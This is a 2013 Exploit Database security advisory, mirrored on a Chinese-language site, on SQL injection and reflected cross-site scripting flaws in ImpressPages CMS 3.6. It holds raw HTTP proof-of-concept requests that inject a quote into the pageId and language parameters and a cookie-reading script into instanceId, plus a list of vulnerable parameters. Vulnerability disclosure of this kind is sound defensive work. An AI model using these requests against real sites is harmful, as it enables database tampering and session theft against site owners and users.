ImpressPages CMS 3.6 – Multiple Cross-Site Scripting / SQL Injection Vulnerabilities

• Exploit Database
• 120 阅读

• 作者： LiquidWorm
  日期： 2013-10-31
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/29318/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135

  ImpressPages CMS v3.6 Multiple XSS/SQLi Vulnerabilities     Vendor: ImpressPages UAB Product web page: http://www.impresspages.org Affected version: 3.6   Summary: ImpressPages CMS is an open source web content management system with revolutionary drag & drop interface.   Desc: Input passed via several parameters is not properly sanitized before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and HTML/script code in a user&apos;s browser session in context of an affected site.   Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 PHP 5.4.7 MySQL 5.5.25a     Vulnerabilities discovered by Gjoko &apos;LiquidWorm&apos; Krstic @zeroscience     Advisory ID: ZSL-2013-5157 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5157.php   Vendor: http://www.impresspages.org/blog/impresspages-cms-3-7-is-mobile-as-never-before/       12.10.2013   --   ==================================   SQL Injection: (pageId param)   POST /impresspages/?cms_action=manage HTTP/1.1 Host: localhost Proxy-Connection: keep-alive Content-Length: 124 Accept: application/json, text/javascript, */*; q=0.01 Origin: http://localhost X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://localhost/impresspages/?cms_action=manage Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Cookie: ses819=k7e9hu9pk4ol4h9l0lbt5q73u1   g=standard&m=content_management&a=getPageOptionsHtml&securityToken=c029f7293955df089676b78af8222d2a&pageId=64&apos;&zoneName=menu1     ==================================   SQL Injection: (language param)   POST /impresspages/admin.php?module_id=436&action=export&security_token=381cb48be4ed7445a9e6303e64ae87ac HTTP/1.1 Host: localhost Proxy-Connection: keep-alive Content-Length: 404 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://localhost User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybBHOjmAcICeilnDe Referer: http://localhost/impresspages/admin.php?module_id=436&security_token=381cb48be4ed7445a9e6303e64ae87ac Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Cookie: ses819=k7e9hu9pk4ol4h9l0lbt5q73u1   ------WebKitFormBoundarybBHOjmAcICeilnDe Content-Disposition: form-data; name="language"   344&apos; ------WebKitFormBoundarybBHOjmAcICeilnDe Content-Disposition: form-data; name="spec_security_code"   9f1ff00ea8fd9fd8f2d421ba5ec45a18 ------WebKitFormBoundarybBHOjmAcICeilnDe Content-Disposition: form-data; name="spec_rand_name"   lib_php_form_standard_2_ ------WebKitFormBoundarybBHOjmAcICeilnDe--     ==================================   Reflected XSS POST parameters:   - files[0][file] - instanceId - pageOptions[buttonTitle] - pageOptions[createdOn] - pageOptions[description] - pageOptions[keywords] - pageOptions[lastModified] - pageOptions[layout] - pageOptions[pageTitle] - pageOptions[redirectURL] - pageOptions[rss] - pageOptions[type] - pageOptions[url] - pageOptions[visible] - revisionId - widgetName - pageSize[0] - page[0] - road[]     ==================================   POST /impresspages/?cms_action=manage HTTP/1.1 Host: localhost Proxy-Connection: keep-alive Content-Length: 155 Accept: application/json, text/javascript, */*; q=0.01 Origin: http://localhost X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://localhost/impresspages/?cms_action=manage Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Cookie: ses819=k7e9hu9pk4ol4h9l0lbt5q73u1   g=standard&m=content_management&a=deleteWidget&securityToken=c029f7293955df089676b78af8222d2a&instanceId=<img%20src%3da%20onerror%3dalert(document.cookie)>   ...